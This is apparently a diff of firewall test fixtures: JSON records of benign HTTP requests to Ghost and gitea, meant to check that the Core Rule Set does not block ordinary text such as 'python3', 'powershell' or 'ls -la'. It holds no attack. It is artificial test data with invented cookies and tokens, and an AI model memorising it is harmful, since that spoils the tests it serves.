href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 & powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&source=powershell.example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&utm_campaign=powershell+%26+python3", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical&newsletter=default-newsletter&email_segment=label%3Apowershell-users", "headers": ["Host: example.com", "Content-Length: 74", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"status\":\"published\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27powershell+%26+python3%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27ls+-la+%26+.htaccess%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 161", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"status\":\"published\",\"html\":\"<p>Thanks! I ran <code>ls -la</code> and fixed my .htaccess with python3.</p>\"}]}"}
|
|
||||||
{"method": "PUT", "target": "/members/api/comments/6af5443ba509340001efd00b/", "headers": ["Host: example.com", "Content-Length: 140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"id\":\"6af5443ba509340001efd00b\",\"html\":\"<p>Thanks! I ran ls -la, then powershell, and fixed my .htaccess with python3.</p>\"}]}"}
|
|
||||||
{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 220", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"parent_id\":\"6af5443ba509340001efd00b\",\"in_reply_to_id\":\"6af5443ba509340001efd00b\",\"status\":\"published\",\"html\":\"<p>Same here: python3 & powershell both work.</p>\"}]}"}
|
|
||||||
{"method": "GET", "target": "/members/api/comments/post/6af5443ba509340001efcfd1/?limit=20&filter=created_at%3A%3C%3D2026-11-12T04%3A44%3A43.000Z&page=2&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/members/api/comments/6af5443ba509340001efd00b/replies/?limit=5&filter=id%3A%3E%276af5443ba509340001efd010%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
|
|
||||||
@@ -1,41 +0,0 @@
|
|||||||
# Ordinary gitea 1.27.3 requests that name a file or a branch in a body, which
|
|
||||||
# the Core Rule Set must let through while it reads bodies. They were recorded
|
|
||||||
# from a gitea driven by a headless Chrome, signed in, and by a script on the
|
|
||||||
# API. Each line is one request as JSON. Names, cookies and tokens are
|
|
||||||
# invented. The browser's User-Agent is an ordinary Chrome's.
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 864", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd2r1zGuX9U2OBld1", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nPin nginx\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n0735bcea75feef4e6d8b85866be904fadd379426\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 862", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywVqkqv2Jr7ji4Kze", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/python3-setup.md\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n\r\nInstall the tools.\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n71e995c2394ac116247f342fb116b0058e1ec738\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 621", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQH6Zh33PIE4XdrL5", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove .htaccess\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nd44f04577d741b385554aaf75898d84c0e6be0e4\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 637", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5NJfG6GBxpj4Yj1g", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove scripts/install-script.sh\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ne0855ca76e18ad6cc42b3ed5c99247293522f926\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 917", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXJTF93HAC8mrhTox", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n restart: always\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRestart the web service\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 853", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6wkagZ2DWcFZT1EP", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/setup.md\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npowershell-setup-notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 648", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGgvHwu0BZkGKBgYt", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDrop the old setup script\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt--\r\n"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"}
|
|
||||||
